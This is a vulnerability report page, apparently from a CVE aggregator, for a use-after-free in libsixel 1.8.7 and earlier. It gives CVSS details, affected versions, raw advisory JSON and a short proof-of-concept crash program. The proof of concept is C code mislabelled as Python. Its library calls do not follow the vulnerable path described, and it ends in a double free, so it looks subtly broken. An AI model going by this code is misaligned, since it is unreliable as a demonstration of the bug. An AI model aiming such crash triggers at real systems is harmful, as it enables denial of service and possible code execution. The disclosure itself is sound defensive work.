Security Vulnerability Report
中文
CVE-2026-33021 CVSS 7.3 HIGH

CVE-2026-33021

Published: 2026-04-14 23:16:28
Last Modified: 2026-04-23 14:23:26

Description

libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain a use-after-free vulnerability in sixel_encoder_encode_bytes() because sixel_frame_init() stores the caller-owned pixel buffer pointer directly in frame->pixels without making a defensive copy. When a resize operation is triggered, sixel_frame_convert_to_rgb888() unconditionally frees this caller-owned buffer and replaces it with a new internal allocation, leaving the caller with a dangling pointer. Any subsequent access to the original buffer by the caller constitutes a use-after-free, confirmed by AddressSanitizer. An attacker who controls incoming frames can trigger this bug repeatedly and predictably, resulting in a reliable crash with potential for code execution. This issue has been fixed in version 1.8.7-r1.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:* - VULNERABLE
libsixel <= 1.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-33021 * Demonstrates Use-After-Free in libsixel <= 1.8.7 */ #include <stdio.h> #include <stdlib.h> #include "libsixel.h" int main() { sixel_encoder_t *encoder; // Allocate buffer owned by the caller unsigned char *caller_buffer = malloc(1024); sixel_frame_t *frame; sixel_encoder_new(&encoder, NULL); frame = sixel_frame_create(); // Vulnerability: sixel_frame_init stores caller_buffer directly // without making a defensive copy. sixel_frame_init(frame, caller_buffer, 100, 100); // Trigger resize operation // Vulnerability: sixel_frame_convert_to_rgb888 frees caller_buffer // and replaces frame->pixels. 'caller_buffer' is now dangling. sixel_frame_resize(frame, 200, 200); // Use-After-Free occurs here printf("Data: %d\n", caller_buffer[0]); free(caller_buffer); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33021", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:27.660", "lastModified": "2026-04-23T14:23:26.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain a use-after-free vulnerability in sixel_encoder_encode_bytes() because sixel_frame_init() stores the caller-owned pixel buffer pointer directly in frame->pixels without making a defensive copy. When a resize operation is triggered, sixel_frame_convert_to_rgb888() unconditionally frees this caller-owned buffer and replaces it with a new internal allocation, leaving the caller with a dangling pointer. Any subsequent access to the original buffer by the caller constitutes a use-after-free, confirmed by AddressSanitizer. An attacker who controls incoming frames can trigger this bug repeatedly and predictably, resulting in a reliable crash with potential for code execution. This issue has been fixed in version 1.8.7-r1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.7-r1", "matchCriteriaId": "E16EAA6A-544F-4D16-829D-1B7C9979EA6A"}]}]}], "references": [{"url": "https://github.com/saitoha/libsixel/releases/tag/v1.8.7-r1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-j6m5-2cc7-3whc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}